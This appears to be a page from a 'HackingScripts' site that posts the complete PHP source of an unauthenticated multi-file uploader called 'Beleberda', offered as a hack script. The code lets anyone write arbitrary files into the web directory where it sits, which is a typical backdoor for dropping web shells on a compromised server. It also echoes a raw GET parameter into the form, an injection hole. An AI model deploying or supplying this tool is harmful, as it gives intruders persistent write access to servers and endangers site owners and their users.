HackingScripts

Hack Scripts for everybody

beleberda uploader script

01 Mar 2014

Beleberda uploader script

Beleberda Uploader Script source code

 1 <html>
 2 
 3 <head>
 4   <title>bele</title>
 5 </head>
 6 
 7 <body>
 8 <?php
 9 
10 
11  if(empty($_GET['Nfiles']))$Nfiles=15;else $Nfiles=$_GET['Nfiles'];
12 if($_FILES['userfile']['tmp_name'][0]!=''){
13  for($i=0;$i<$Nfiles&&$_FILES['userfile']['tmp_name'][$i]!='';$i++){
14  $uploaddir = dirname(__FILE__);//'/var/www/uploads/';
15  $uploadfile = $uploaddir .'/'. basename($_FILES['userfile']['name'][$i]);
16  print "<pre>";
17  if (move_uploaded_file($_FILES['userfile']['tmp_name'][$i], $uploadfile)) {
18     print "File is valid, and was successfully uploaded. ";
19     //print_r($_FILES);
20  } else {
21     print "Possible fie upload attack!  Here's some debugging info:\n";
22     //print_r($_FILES);
23  }
24  print "</pre>";
25  }
26 }
27 ?>
28 <form action="<?php echo $_SERVER['PHP_SELF'].'?Nfiles='.$Nfiles; ?>" method="post" enctype="multipart/form-data">
29   Send beleberda:<br>
30   <?php for($i=0;$i<$Nfiles;$i++){echo '<input name="userfile[]" type="file"><br>';}?>
31   <input type="submit" value="Send files">
32 </form>
33 
34 </body>
35 
36 </html>

A screenshot of the Beleberda script:

beleberda script screenshot

Beleberda script screenshot